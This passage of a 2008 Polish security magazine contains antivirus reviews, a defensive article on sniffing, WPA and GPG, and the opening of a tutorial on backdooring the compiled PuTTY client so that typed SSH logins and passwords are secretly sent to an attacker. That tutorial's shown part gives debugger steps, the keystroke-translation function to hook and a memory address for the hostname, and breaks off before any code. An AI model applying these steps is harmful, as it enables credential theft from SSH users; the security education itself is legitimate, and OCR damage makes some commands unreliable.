który wykazał się 80%-ową skutecznością w bloko-
waniu niechcianych przesyłek. Kolejnym przydatnym
narzędziem jest ochrona WWW, zwłaszcza, gdy używa-
my Internet Explorera. Sprawdziłem exploity na IE6 i na
Firefoksa 1.5. Kaspersky zablokował je i dodał do logów
odpowiednie wpisy.

Phishing, zjawisko coraz częściej występujące

i oparte na niewiedzy lub braku rozwagi użytkownika,
pozwala na przejęcie każdej informacji, jaką ten wpro-
wadzi do sfałszowanego systemu. W celu sprawdzenia,
jak radzi sobie z nim Kaspersky, utworzyłem bliźniaczą
stronę Gmaila. Otworzyłem ją, używając Firefoksa – ku
mojemu zdziwieniu program nic nie wykrył. Zatem w tym
przypadku trzeba liczyć na siebie samego.
Ochrona rodzicielska to jeszcze jedno narzędzie, przy-
datne do kontrolowania zawartości, do której ma mieć

dostęp określony użytkownik. Jest to przydatny kom-
ponent dla użytkowników systemu Microsoft Win-
dows XP (lub starszego). Działa bez zarzutów: blo-
kuje strony WWW z czarnej listy i dopuszcza z białej.
W moim przypadku wystarczyło jednak użycie Web
proxy, by czarna lista przestała stanowić jakąkolwiek
przeszkodę.

Rootkity to coraz częściej spotykane programy,

które podszywają się pod biblioteki systemowe i dzięki
temu mogą pozostać niezauważone w trakcie działa-
nia systemu operacyjnego. Kaspersky ma wbudowa-
ny wykrywacz rootkitów. Radzi on sobie z popularnymi
zagrożeniami, jednak w starciu z płatnymi, wyspecjali-
zowanymi rootkitami nie ma szans.

Bardzo przydatną funkcją jest zapisywanie prób

ataków. Kiedy symulowałem atak z drugiego kompu-
tera, Kaspersky zapisał adres IP napastnika. Nieste-
ty, jeśli atakujący korzysta z zagranicznego proxy,
wtedy nie znajdziemy go własnymi siłami (no, chyba,
że mamy kolegę – administratora tego serwera). Jeżeli
jednak ktoś przeprowadzi atak, możemy przejrzeć logi
systemowe lub firewalla.
Moja ocena programu to 4+, pakiet całkowicie na nią
zasługuje.

Michał Koźmiński

Producent: Kaspersky

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security

Strona producenta: http://www.kaspersky.pl/

Ocena: 4,5

Kaspersky Internet

Security 7

Rysunek 1.

Kaspersky Internet Security 7

background image

12

Narzędzia

hakin9 Nr 2/2008

www.hakin9.org

13

hakin9 Nr 2/2008

www.hakin9.org

Narzędzia

Program jest dostępny na kilka sposobów: mamy

wersję z CD oraz elektroniczną. Tę drugą ściągamy
ze strony producenta (http://www.avgpolska.pl, dział
Pobierz). Aby uzyskać klucz licencyjny, rejestrujemy
się na stronie WWW, wypełniając odpowiedni formu-
larz (pola wymagane oznaczone są gwiazdką). Już po
chwili w naszej skrzynce e-mail znajdzie się wiado-
mość związana z procesem rejestracji, włącznie z klu-
czem pozwalającym zainstalować program AVG.

Kolejne etapy instalacji przebiegają szybko,

na początku wybieramy język instalacji (w najnowszej
wersji jest już język polski). Przechodzimy do wyboru
trybu instalacji. Ja wybrałem wersję zaawansowaną,
więc w dalszych krokach zostałem zapytany o położe-
nie instalowanego programu czy zestaw modułów, które
chcę zainstalować. Aby przetestować pełną funkcjonal-
ność,wybrałem instalację zalecaną przez producenta
– ze wszystkimi składnikami, w sugerowanych katalo-
gach. Jeszcze przed zakończeniem instalacji program
zapytał, czy ma pobrać aktualizacje i wykonać pełne
skanowanie systemu.

Zainstalowane moduły: Firewall, Anti-Spyware

i Anti-Spam pozwalają na kompleksową ochronę kom-
putera. Pracę z programem możemy prowadzić poprzez
dwa interfejsy, podstawowy i zaawansowany. Interfejs
prosty pozwala jedynie na wykonanie skanowania,
zdefiniowanie reguł skanowania, sprawdzenie pozio-
mu działania modułów, sprawdzenie raportu ostatnie-
go skanowania oraz wykonanie aktualizacji. Z pod-
stawowego interfejsu możemy w każdej chwili przejść
do Centrum Kontroli i Zaawansowanych ustawień. W
ustawieniach zaawansowanych pojawia się dodatko-
wa możliwość – ustawienia systemu. W aplikacji AVG
postawiono na kreatory zadań. Skanowanie systemu
wykonujemy poprzez taki właśnie kreator. Obok zde-
finiowania reguł skanowania, ustawiamy także harmo-
nogram skanowania komputera, decydując o odstę-
pach pomiędzy poszczególnymi badaniami, plikach,
lokalizacjach. Oprócz wywołania ręcznego skanowania
systemu, możemy również ustalić dokładny harmono-
gram pracy skanera. Sama praca programu oparta jest
na modułach, o prawidłowości ich działania (bądź
ewentualnych błędach) informują nas kolorowe ikony:
zielone (moduły pracują bez błędów), żółte (zignoro-

wano błędy jednego ze składników) albo czerwone (źle
skonfigurowany jeden ze składników). Ogólna konfigu-
racja programu ogranicza się do ustawień związanych
z występowaniem danych opcji w menu. Minusem jest
brak możliwości włączania i wyłączania poszczegól-
nych modułów – można dezaktywować jedynie firewal-
le, ustawiając regułę przepuszczaj cały ruch sieciowy.

W podobny sposób, jak dla interfejsu prostego, tworzymy

zadania do skanowania i reguły. Ciekawym rozwiązaniem
jest grupa opcji dotycząca firewalli i polityk bezpieczeństwa.
Pierwsze, na co zwróciłem uwagę, to schemat zabezpieczeń
– dostępne są następujące możliwości: laptop, komputer pra-
cujący w domenie, komputer w sieci lokalnej. W zależności
od wybranego profilu system sam zmienia zasady bezpie-
czeństwa. Brakuje jednak opcji tworzenia własnego profilu.
W ustawieniach firewalla przechodzimy do zakładki Appli-
cations, gdzie definiujemy reguły dla programów zainsta-
lowanych w komputerze. Oprócz standardowych aplikacji
możemy dodać własne, decydujemy także, które porty są
przydzielane do danej aplikacji. Moim zdaniem jest to roz-
wiązanie przemyślane, przejrzyste i nawet średnio zaawan-
sowanemu użytkownikowi nie powinno sprawić problemów
(naturalnie, przydaje się znajomość sieci TCP/IP i portów).
W zakładce System decydujemy o ustawieniach usług sys-
temowych. Ta grupa opcji zalecana jest użytkownikom
zaawansowanym, gdyż nieodpowiednie skonfigurowanie
usług systemowych może zablokować dostęp do Internetu
czy drukarki sieciowej. Także zakładka Networks ma istotne
znaczenie – definiujemy tam dostępność interfejsów, które
będą przez nas nadzorowane. Decydujemy, czy dany inter-
fejs będzie pracował jednocześnie z innym, czy podłączenie
przez jeden będzie automatycznie blokować drugi. Możemy
także przypisać profile ustawień firewalla do konkretnego
interfejsu.

W mojej ocenie program AVG stanowi bardzo dobre

centrum ochrony komputera. Zajmuje mało pamięci
operacyjnej, jest szybki. Brakuje mi w nim kilku usta-
wień. Ale mimo wszystko praca z takimi rozwiązania-
mi i interfejsem jest przyjemna oraz intuicyjna. Gorąco
zachęcam do wypróbowania wersji demo.

Rafał Podsiadły

AVG Internet Security 7.5

Producent: AVG Grisoft

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security

Strona producenta: http://www.avg.pl/

Strona dystrybutora: www.quantus.pl

Ocena: 5

background image

www.hakin9.org

hakin9 Nr 2/2008

14

Początki

O

statnio, w związku z szerzącą się modą
na hotspoty, popularny stał się również
wardriving. Jest to nic innego, jak wy-

szukiwanie sieci bezprzewodowych. Należy pa-
miętać, że nie zawsze oznacza to włamywanie
się do nich. Niektórzy jednak nie poprzestają na
wyszukaniu sieci i kradną dane. Dalsza część ar-
tykułu naprowadzi Cię na sposób, w jaki powinni-
śmy się zabezpieczyć przed takimi atakami.

Jeśli chcemy się uchronić przed jakimś za-

grożeniem, to musimy je najpierw poznać. Snif-
fing
odbywa się poprzez przechwytywanie pa-
kietów sieci lokalnej (Rysunek 1). Większość
osób może odbierać jedynie własne pakiety, po-
nieważ współcześnie sieci są oparte o switche
lub routery pozwalające na przesyłanie danych
tylko do komputera, do którego zostały przeka-
zane informacje. Jedynie huby wysyłają pakie-
ty do wszystkich użytkowników, lecz aktualnie
rzadko wykorzystuje się urządzenia tego typu.

Zabezpieczenia routera da się ominąć po-

przez przepełnienie tablicy ARP lub ARP Po-
isoning. Nie będę tutaj opisywać tych metod,
ponieważ mamy inny cel – a osoby bardziej za-
interesowane tym tematem znajdą pożądane
informacje w Internecie (ramka W Sieci). Snif-
fing
często wiąże się z wardrivingiem. Napast-

nik najpierw wyszukuje sieć bezprzewodową,
a następnie łączy się z nią. Jeśli sieć jest ogól-
nodostępna, to nie ma żadnego problemu, po-
nieważ potrzebne dane zostaną pozyskane
dzięki DHCP. Często jednak zdarza się, że sieć
jest chroniona kluczem, ponieważ za dostęp
trzeba zapłacić lub po prostu ktoś nie chciał
przyjmować niepowołanych gości.

Szyfrowanie połączenia

Pierwszym krokiem, jaki powinniśmy zrobić
w kierunku zabezpieczenia swojego kompute-
ra, jest szyfrowanie czegokolwiek, co wysyłamy
do sieci. Możemy w tym celu zastosować często
używany standard SSL (Secure Socket Layer).

Sniffing i wardriving

– zabezpiecz się!

Konrad Witaszczyk

stopień trudności

Wiele osób korzystających z Internetu nie zdaje sobie sprawy,

że oprócz takich zagrożeń, jak robaki i wirusy istnieje również

sniffing (ang. sniff – węszyć). Wykorzystując tę technikę można

dowiedzieć się między innymi, jakie ktoś ma hasła.

Z artykułu dowiesz się

• jak bezpiecznie korzystać z Sieci,
• jak zabezpieczyć własną sieć bezprzewodową.

Co powinieneś wiedzieć

• w jaki sposób wysyłane są dane do serwerów,
• powinieneś znać podstawowe pojęcia dotyczą-

ce sieci bezprzewodowych.

background image

Sniffing i wardriving – zabezpiecz się!

hakin9 Nr 2/2008

www.hakin9.org

15

Jednak nie jest on już dłużej rozwija-
ny, a jego miejsce zajął TLS (Trans-
port
Layer Security). Doskonale na-
daje się on do szyfrowania takich pro-
tokołów, jak HTTP, SMTP czy POP3.
Największą różnicą między SSL
a TLS jest to, iż nowsza wersja używa
algorytmu HMAC, który trudniej zła-
mać w przeciwieństwie do wcześniej
stosowanego algorytmu MAC. Różni
je to, że pierwszy z nich wykorzystu-
je hashe (MD5 lub SHA1), do których
są dołączane klucze oraz nie posiada
ograniczeń długości tekstu.

Coraz więcej banków, firm ho-

stingowych czy nawet zwyczajnych
serwisów używa SSL bądź TLS, co
daje klientowi satysfakcję z ochro-
ny danych. W celu wykorzystania
tej technologii musimy dysponować
przeglądarką internetową, która po-
siada pełną obsługę SSL 128-bit:

• Opera – SSL 2, SSL 3, TLS 1,

TLS 1.1,

• Firefox – SSL 3, TLS 1,
• Internet Explorer – SSL 2, SSL

3, TLS 1.

Aktywowanie tej funkcji jest proste.
Najpierw należy w ustawieniach prze-

glądarki włączyć szyfrowanie połą-
czeń, a następnie przy otwieraniu stro-
ny zaakceptować certyfikat.

Komunikatory

Częstym przypadkiem ataku typu
sniffing jest podsłuchiwanie rozmów.
Niestety większość polskich użyt-
kowników korzysta z komunikatora
Gadu-Gadu, którego twórcy dopiero
niedawno rozpoczęli testy wersji pro-
gramu z szyfrowanym połączeniem.
Jednak w tej sytuacji możemy wy-
brać inne rozwiązanie, a konkretnie

– Jabbera (patrz Terminologia). Za-
letami tego protokołu komunikacji są
przede wszystkim bezpieczeństwo
i wielofunkcyjność. Gdy zdecydujemy
się na to rozwiązanie, możemy szy-
frować połączenie, jeśli nam na to
pozwoli serwer, a dodatkowo istnieje
możliwość wykorzystywania PGP lub
GPG (patrz Terminologia) w celu szy-
frowania transmisji. Wybranie tej opcji
nie wiąże się z rezygnacją z używania
takich protokołów, jak Gadu-Gadu czy
Tlen, ponieważ Jabber zawiera obsłu-
gę tzw. transportów, czyli przekaza-
nia użytkownikowi kontroli nad API da-
nej sieci. Dodatkowym atutem Jabbe-
ra jest otwartość jego kodu (ang. open
source
). Dzięki temu powstało wiele
ciekawych komunikatorów, które cie-
szą się znaczną popularnością.

GNU Privacy Guard

Jak wcześniej wspomniałem, GPG jest
idealnym rozwiązaniem dla osób, które
chcą mieć pewność, że nikt ich nie pod-
słuchuje. W tej części artykułu wygene-
rujemy swoją pierwszą parę kluczy.

Program ten jest wieloplatformo-

wy, więc zarówno użytkownicy *nix,
jak i Windows nie będą mieć kłopotu
z dostępem do niego. Obsługa aplika-
cji wygląda tak samo w każdym sys-
temie. Gdy mamy zainstalowane od-
powiednie oprogramowanie, wpisuje-
my w konsoli:

gpg – gen-key

Pojawia się numer wersji programu, tro-
chę informacji na temat licencji i głów-

GPG - komendy

gpg – list-keys

– lista wygenerowanych kluczy,

gpg – export adres@adres.com –armour –output plik _ klucza

– eksport klu-

cza publicznego do pliku,

gpg – import plik _ klucza

– import klucza z pliku,

gpg – edit-key adres@adres.com

– weryfikacja klucza,

gpg – delete-keys nazwa

– usuwanie klucza,

gpg – output wiadomość _ zaszyfrowana –encrypt wiadomość

– szyfrowanie

wiadomości,

gpg – decrypt wiadomość _ zaszyfrowana

– odszyfrowanie wiadomości,

gpg – output wiadomość _ podpisana –clearsign wiadomość

– podpisywanie

wiadomości,

gpg – verify wiadomość _ podpisana

– weryfikacja podpisanej wiadomości.

Rysunek 1.

Przechwycony pakiet z odpowiedzią serwera HTTP po

otworzeniu obrazka GIF

Literatura

802.11 Security – Bruce Potter, Bob Fleck; 01/2004,
Hack Proofing Your Network – 10/2002,
TCP/IP Unleashed – Karanjit S. Siyan, Tim Parker; 12/2002,
Upgrading and Repairing Networks: Field Guide – Scott Mueller, Terry W. Ogle-

tree; 04/2004,

Wireless Hacks – Lee Barken; 11/2006.

background image

hakin9 Nr 2/2008

www.hakin9.org

Początki

16

ne menu. Musimy w nim wybrać, ja-
ki algorytm wykorzystamy. Wybierze-
my pierwszą opcję (DSA i Elgamal),
ponieważ dzięki niej będziemy mieć
możliwość szyfrowania i podpisywa-
nia wiadomości. Następny krok to wy-
bór długości klucza, a potem jego ter-
minu ważności. Po tych czynnościach
musimy wpisać swoje imię, nazwisko
oraz e-mail. Dane nie muszą być praw-
dziwe, ważne, żeby osoby korzysta-
jące z klucza publicznego wiedziały,
do kogo on należy. Jeśli wszystko się
zgadza, akceptujemy wpisane dane
oraz podajemy hasło dostępu, które

powinno być odpowiednio skompliko-
wane, aby nikt poza nami go nie znał
i nie mógł odgadnąć. Jeśli wszystko
poszło dobrze, powinniśmy ujrzeć ko-
munikat zwracający fingerprint. Posia-
danie tego ciągu jest wymagane, by
uchronić się przed atakiem Man in the
middle
. Eksport klucza do pliku wyko-
nujemy za pomocą komendy:

gpg –export adres@adres.com –armour–

output plik

Teraz możemy udostępnić klucz pu-
bliczny znajomym i szyfrować swoje

wiadomości. Pozostałe komendy po-
trzebne do korzystania z programu
zostały przedstawione w ramce GPG
– komendy
.

IDS

System wykrywania włamań (ang. In-
trusion Detection System
) to pożytecz-
ny mechanizm, który pomaga nam po-
przez dostarczanie raportów o ewentu-
alnych atakach na nasz komputer, wy-
krytych dzięki analizie ruchu sieciowe-
go. Jedną ze słynniejszych aplikacji
wykorzystujących tego typu mecha-
nizm jest Snort, który pokazuje komu-
nikaty w czasie rzeczywistym. Informu-
ją one nas m. in. o wysyłanych oraz od-
bieranych pakietach, próbach ataków
typu buffer overflow (przepełnienie bu-
fora), skanowaniu portów przez intru-
za czy próbie wykrycia wersji nasze-
go systemu operacyjnego. Przykłado-
wy wynik działania tego programu zo-
stał przedstawiony na Rysunku 2. Dla
osób, które są przyzwyczajone do
okienek, został stworzony front-end te-
go programu o nazwie IDScenter (http:
//www.engagesecurity.com/products/
idscenter
). Istnieje jeszcze kilka apli-
kacji tego typu dla użytkowników sys-
temu Windows, np. KFSensor (http:
//www.keyfocus.net/kfsensor
),

lecz

jest on mniej popularny niż poprzednio
wspomniany konkurent. Innym wartym
uwagi programem tego typu jest Ki-
smet
(http://www.kismetwireless.net).
Oprócz tego, iż posiada on mechanizm
IDS, może wyszukiwać sieci bezprze-
wodowe, a także sniffować.

Bezpieczne WiFi

Przy budowie sieci bezprzewodowej
musimy rozważyć wszelkie możliwo-
ści dostania się do niej przez niepowo-
łane osoby. Wielu administratorów po-
pełnia błąd, tworząc sieci bezprzewo-
dowe bez szyfrowania. Inni natomiast

Rysunek 2.

Wynik działania programu Snort

W Sieci

http://www.gnupg.org – GnuPG,
http://www.openssl.org
http://tools.ietf.org/html/rfc4346

– TLS 1.1, RFC 4346,

http://tools.ietf.org/html/rfc1122

– warstwy komunikacji, RFC 1122.

background image

Sniffing i wardriving – zabezpiecz się!

hakin9 Nr 2/2008

www.hakin9.org

17

stosują jedynie DHCP, które polega na
pozyskaniu adresu sieciowego IP po-
przez odczytanie MAC, czyli unikato-
wego numeru interfejsu. W tym wy-
padku osoba atakująca może zasto-
sować MAC Spoofing, czyli ustawia-
nie identyfikatora MAC innej osoby
i podszywanie się pod nią. Jeśli sieć
używa klucza WEP, to – przy odpo-
wiedniej ilości przechwyconych pakie-
tów – można go często odszyfrować
w przeciągu minuty. Do tego służy
program Aircrack–ng – wyszukiwarka
sieci, sniffer i łamacz WEP oraz WPA-
PSK (prostsza wersja WPA). Najlep-
szym sposobem przeciwdziałania jest
zaszyfrowanie sieci standardem WPA
(wersja Enterprise), który zaleca Wi-Fi
Alliance. Został on stworzony jako na-

stępca WEP, który stał się mało bez-
pieczny. Każda osoba powinna mieć
swój oddzielny klucz. Można go wy-
generować za pośrednictwem strony
speedguide.net, która zawiera gene-
rator z możliwością wyboru różnej dłu-
gości klucza. Warto taką czynność po-
wtarzać co jakiś czas, np. raz w mie-
siącu. Hasło powinno zawierać znaki
specjalne i być długie, trudne do zła-
mania. Dzięki temu istnieje mniejsza
szansa na złamanie hasła metodą
brute–force, czyli poprzez sprawdze-
nie wszystkich kombinacji, np:

aa; ab; ac (...) ba; bb; bc (...)

Niestety, nie we wszystkich urządze-
niach jest dostępna obsługa WPA, je-

żeli się jednak pojawiła, to bez zasta-
nowienia należy ją włączyć.

Dodatkowym

zabezpieczeniem

może być ukrycie SSID, czyli identy-
fikatora sieci. Wydaje się to być do-
brym wyjściem, choć nie do końca.
Osoba atakująca ma możliwość stwo-
rzenia sieci z widocznym SSID o takiej
samej nazwie, która będzie na tym
samym kanale, co prawdziwa. Dzięki
temu może przechwycić pakiety i od-
czytać poufne informacje.

Można również włączyć serwer

DHCP z listą dostępową zawiera-
jącą dopuszczalne wartości MAC,
która ułatwi proces uwierzytelnienia
użytkowników. Jednak nie jest on po-
trzebny przy małej ilości osób korzy-
stających z sieci. Każdy może sam
wpisać potrzebne dane w konfigura-
cji karty sieciowej.

Podsumowanie

Przy korzystaniu z Internetu musi-
my być gotowi na wszelkiego rodzaju
niebezpieczeństwa. Najlepszą obro-
ną przed nimi jest logiczne myślenie
i ostrożność w działaniu. Zabezpie-
czenie się przed zagrożeniami mo-
że wydawać się czasochłonne, ale
podjęty trud zapewni nam spokój
i ochroni naszą prywatność. Admi-
nistratorzy muszą pamiętać, że brak
dostatecznych zabezpieczeń stano-
wi pośrednio przyzwolenie na wła-
manie się do sieci. Poprawiając bez-
pieczeństwo zwiększają zaufanie do
swoich usług. l

O autorze

Autor jest programistą PHP w firmie zajmującej się projektowaniem stron interne-
towych. Dodatkowo prowadzi kilka projektów, w tym Ruby Movie Get (http://movie-
get.org
) oraz wyklady.net. Kontakt z autorem: defc0n@defc0n.or

Terminologia

Adres IP – unikatowy numer komputera w danej sieci,
DHCP – technologia pozyskiwania od serwera takich danych, jak IP, DNS czy ad-

res domyślnej bramy po rozpoznaniu MAC,

Fingerprint – suma kontrolna klucza PGP/GPG, dzięki niej możemy go zweryfikować,
HotSpot – punkt dostępowy bezprzewodowej sieci, przykładowo prawie w każdym

McDonaldzie można zaobserwować płatny hotspot sieci Era,

MAC – unikatowy adres karty sieciowej,
PGP/GPG – program do szyfrowania wiadomości wykorzystujący algorytm DSA

lub RSA.

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 2/2008

18

Atak

O

gólnie rzecz biorąc, zmodyfikowanie
aplikacji nie stanowi większego pro-
blemu, gdy posiadamy dostęp do jej

kodu źródłowego. Szczególnie, jeśli zosta-
ła napisana w języku wysokiego poziomu
– jak C czy C++. Możemy z łatwością zmie-
nić jej zachowanie czy też dodać do niej no-
we opcje poprzez dodanie kilku instrukcji lub
funkcji. Wystarczy, że otworzymy kod źródło-
wy, dodamy kilka linijek i ponownie skompilu-
jemy aplikację. To wszystko, co jest potrzeb-
ne do zmiany aplikacji o dostępnym kodzie
źródłowym.

O wiele trudniej jest zmienić aplikację,

gdy wszystko co posiadamy, to kilka wcze-
śniej skompilowanych plików binarnych nie-
wiadomego przeznaczenia. Praca z plikami
binarnymi wiąże się z niskopoziomową ana-
lizą kodu maszynowego za pomocą różnego
rodzaju narzędzi przeznaczonych do tego ce-
lu – jak hexedytory czy disasemblery, wyma-
ga również znajomości asemblera oraz syste-
mu operacyjnego, dla którego została napisa-
na aplikacja.

W tym artykule czytelnik zostanie przepro-

wadzony krok po kroku poprzez proces mo-
dyfikacji dobrze znanego klienta SSH – PuT-

TY, wykorzystując tylko jego skompilowaną
wersję. Wszystko, co będziemy potrzebowa-
li, to plik wykonywalny putty.exe w wersji 0.60
(z uwagi na podane w dalszej części artykułu
adresy przesunięć, które mogą się różnić w in-
nych wersjach, czytelnik powinien pobrać do-
kładnie taką samą wersję PuTTY). Naszym
celem będzie dodanie do programu PuTTY
dodatkowej procedury, która sprawi, że lo-
giny i hasła wprowadzone przez użytkowni-

Hakowanie PuTTY

Dawid Gołuński

stopień trudności

Chyba każdy z nas słyszał o tylnych furtkach w programach

open-source. Czasami słyszy się o pakietach systemu Linux

lub nawet dystrybucjach, które zostały zmodyfikowane. Jednak

nie każdy wie, że także już skompilowane oprogramowanie jest

podatne na modyfikacje. Artykuł pokazuje, jak zmodyfikować

skompilowaną aplikację na przykładzie klienta SSH – PuTTY.

Z artykułu dowiesz się

• jak zmodyfikować aplikację bez dostępu do ko-

du źródłowego.

Co powinieneś wiedzieć

• znać podstawy asemblera i niskopoziomowego

programowania,

• posiadać podstawową wiedzę na temat forma-

tu plików wykonywalnych PE,

• znać narzędzia służące do binarnej analizy, ta-

kie jak OllyDbg, IDA czy Hiew,

• znać podstawy programowania w środowisku

Windows oraz znać Windows API.

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

19

ka w procesie logowania do zdal-
nego systemu (po nawiązaniu se-
sji SSH) zostaną w sposób niewi-
doczny przesłane poprzez Internet
do wybranego przez nas miejsca.

Research – zbieranie

informacji

Na początku musimy ustalić, czy
program nie został skompresowa-
ny za pomocą pakerów plików wy-
konywalnych, jak UPX czy Aspack.
Modyfikowanie

skompresowanej

aplikacji nie miałoby bowiem sen-
su. Aby dowiedzieć się, czy aplika-
cja została skompresowana, może-
my posłużyć się jednym z narzędzi
służących do analizy plików PE, jak
np. popularny PEiD.

Po wczytaniu pliku putty.exe do

PEiD uzyskamy informacje na te-
mat języka, w którym został napisa-
ny PuTTY. PEiD nie wspomina nato-
miast o żadnym kompresorze, więc
możemy uznać, że plik nie został
skompresowany i jego rozpakowa-
nie nie będzie konieczne.

Badamy proces logowania

Aby dowiedzieć się, jaki lo-
gin oraz hasło wprowadził użyt-
kownik podczas logowania się
do zdalnego systemu, będzie-
my musieli znaleźć sposób na
przechwycenie klawiszy wciska-
nych w oknie programu PuTTY.
W tym celu musimy dokładnie
przyjrzeć się procesowi logowa-
nia, tak aby ustalić, w jaki sposób
PuTTY obsługuje klawiaturę tuż po
nawiązaniu sesji SSH z serwerem.

Posłużymy się tu popularnym

debuggerem – OllyDbg. Posiada
on bardzo użyteczną funkcje lo-
gowania breakpointów (pułapek).
Dzięki niej jesteśmy w stanie usta-
wić logowanie wszystkich wywołań
API (Application Programming In-
terface
) i w ten sposób dowiedzieć
się, jakie funkcje są wykorzysty-
wane oraz gdzie trafiają naciśnię-
te klawisze.

Po wczytaniu pliku putty.exe

do debuggera klikamy prawym przy-
ciskiem myszy w dowolne miejsce
w oknie kodu i z menu konteksto-
wego wybieramy Search for –> All
intermodular calls
. W oddzielnym
oknie (okno referencji) otrzyma-
my pełną listę funkcji wykorzysty-
wanych przez program PuTTY. Na-
stępnie klikamy prawym przyci-

skiem myszy na okno referencji
i z menu kontekstowego wybieramy
Set log breakpoint on every com-
mand
. Po ukazaniu się okna dialo-
gowego, w którym możemy ustawić
właściwości naszej pułapki, zazna-
czamy opcję Always przy Log func-
tion arguments
, co spowoduje, że
oprócz samych nazw funkcji, logo-
wane będą również przekazane do
nich parametry. Następnie przecho-
dzimy do okna, w którym logowane
są zdarzenia (Log window).

Po uruchomieniu programu (po-

przez F9) w oknie zaczną poja-
wiać się nazwy kolejno wywoływa-
nych funkcji wraz z parametrami.
Po chwili ujrzymy okno dialogowe
programu PuTTY, w którym wpisu-
jemy parametry połączenia (adres
serwera, port). Zanim jednak wci-
śniemy przycisk Open w celu na-
wiązania połączenia SSH, musi-
my tak skonfigurować nasz debug-
ger, aby wszystko, co pojawia się
w oknie Log window, logował do pli-
ku tekstowego – tak, żebyśmy ni-
czego nie przeoczyli.

Po wciśnięciu przycisku Open

nawiązana zostanie sesja SSH
z podanym serwerem. Zostanie-
my poproszeni o wpisanie nazwy
użytkownika. Wpisujemy tu jakieś
unikalne słowo jak np. FOOBAR,
co ułatwi jego późniejsze odszuka-
nie w pliku dziennika. Następnie za-
mykamy plik dziennika wybierając

Rysunek 1.

Analiza pliku putty.exe przy użyciu PeID

Rysunek 2.

Monitorowanie wywołań API przy użyciu debuggera OllyDbg

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

20

z menu kontekstowego Close log fi-
le
, żeby nie zwiększać niepotrzeb-
nie jego objętości.

Spójrzmy teraz na wygenerowa-

ny plik dziennika, aby dowiedzieć się
jak PuTTY odczytuje znaki wprowa-
dzone przez użytkownika. Ze wzglę-
du na objętość pliku ciężko jest
sprawdzić każdą z funkcji, dlatego
możemy spróbować odszukać sło-
wo, które podaliśmy jako login lub
też litery składające się na to słowo
– obejmując je w apostrofy: 'F'. Mo-
żemy również założyć, że do jednej
z funkcji został przekazany komu-
nikat

WM _ KEYDOWN

, gdyż to właśnie

za jego pomocą system operacyj-
ny Windows przekazuje informacje
otrzymane z klawiatury do urucho-
mionej aplikacji. Dlatego możemy
również spróbować przeszukać plik
pod kątem tej nazwy komunikatu.

Niezależnie od tego, jaką meto-

dę wykorzystamy, odnajdziemy gru-
pę funkcji powiązanych z obsługą
klawiatury przez program PuTTY.
Funkcje te zostały przedstawione
na Listingu 1.

Funkcja, która szczególnie wyróż-

nia się na przedstawionym listingu, to

ToAsciiEx

. Zgodnie z bazą MSDN,

tłumaczy ona podany kod klawisza
(virtual-key code) na odpowiadają-
cy mu znak lub znaki. Innymi słowy,
funkcja zwraca kod ASCII wciśnię-
tych klawiszy. To jest właśnie to, cze-
go nam potrzeba! Jeśli tylko udałoby
nam się przechwycić wyniki zwraca-
ne przez tę funkcję, bylibyśmy w sta-
nie przechwycić litery loginu i hasła
użytkownika, literka po literce. Za-
pamiętajmy nazwę tej funkcji, gdyż
to właśnie z niej skorzystamy w celu
przechwycenia danych.

Odnajdujemy nazwę hosta

Wiemy już, w jaki sposób przechwy-
cimy login i hasło podane przez użyt-
kownika. Co jednak z nazwą hosta,
z którym się on łączy? Bez niej prze-
chwycone dane są kompletnie bezu-
żyteczne, gdyż nie wiemy, do jakie-
go serwera one pasują. Dlatego teraz
musimy znaleźć sposób, który pozwo-
li nam wydobyć nazwę hosta.

Jak można łatwo zauważyć, PuT-

TY wypisuje nazwę hosta na pasku
tytułowym okna zaraz po nawiąza-
niu połączenia z serwerem. Wydoby-
cie nazwy z tego miejsca nie powin-
no stanowić większego problemu,
jednak mimo wszystko wiązałoby
się z użyciem funkcji

GetWindowTextA

,

która wymaga przekazania uchwytu
okna (hwnd). Dużo łatwiejszym spo-
sobem na wydobycie nazwy byłoby
po prostu skopiowanie jej z pamięci.
PuTTY musi posiadać jakiś bufor, do
którego kopiuje nazwę hosta po po-
braniu jej od użytkownika. Aby odna-
leźć hostname w pamięci, musimy
prześledzić, co się z nim dzieje krót-
ko po wpisaniu go w oknie konfigura-
cji połączenia.

Nazwa hosta wpisywana jest

w polu edycji. Wystarczy wiedzieć,
że programy w systemie Windows
powszechnie korzystają z funk-
cji

GetDlgItemTextA

w celu wydoby-

cia tekstu z kontrolki (w tym również
pól edycji) w oknie dialogowym. Wy-
starczy więc prześledzić odwołania

do tej funkcji, aby przekonać się, czy
PuTTY używa jej do wydobycia wpi-
sanej nazwy hosta z pola edycji.

Posłużymy się tu ponownie de-

buggerem OllyDbg. Usuwamy wszyst-
kie breakpointy ustawione poprzed-
nio. Następnie ustawiamy pułap-
ki na wszystkich wywołaniach funkcji

GetDlgItemTextA

(wystarczy odnaleźć

i kliknąć prawym przyciskiem myszy
jedno z wywołań tej funkcji i wybrać
z menu kontekstowego: Set log break-
point on every call to GetDlgItemTextA
function
), po czym wciskamy (CTR-
L+F2)
, aby zrestartować program. Po
ponownym uruchomieniu programu
(F9) PuTTY wpisujemy wybraną przez
nas nazwę hosta i nawiązujemy połą-
czenie SSH poprzez kliknięcie przyci-
sku Open.

Debugger przerwie wykony-

wanie programu PuTTY pod ad-
resem

0x435F67

, gdzie mieści się

pierwsze odwołanie do funkcji

GetDlgItemTextA

. Jak można zauwa-

żyć na Rysunku 3. do funkcji prze-
kazywane są cztery parametry, je-
den z nich oznaczony jest jako Buf-
fer
. Parametr ten wskazuje miejsce w
pamięci, pod które trafi skopiowany
tekst z pola edycji. Obserwując war-
tości umieszczone na stosie (pra-
wa dolna część Rysunku 3), jeste-
śmy w stanie odczytać adres wska-
zywany przez parametr

Buffer

, jest

on równy

0x46D680

. Jeśli teraz usta-

wimy podgląd szesnastkowy (okien-
ko hex dump) na ten adres pamię-
ci oraz wymusimy wykonanie funk-
cji (klawiszem F8)

GetDlgItemTextA

– ujrzymy nazwę hosta, którą podali-
śmy w oknie konfiguracji połączenia.
W ten sposób otrzymujemy adres,
który wykorzystamy później w na-
szym kodzie do wydobycia nazwy
hosta podanej przez użytkownika.

Szukamy miejsca na kod

Na tym etapie wiemy już, skąd uzy-
skać potrzebne informacje (login/

Rysunek 3.

Śledzenie funkcji GetDlgItemTextA w celu odszukania nazwy

hosta w pamięci

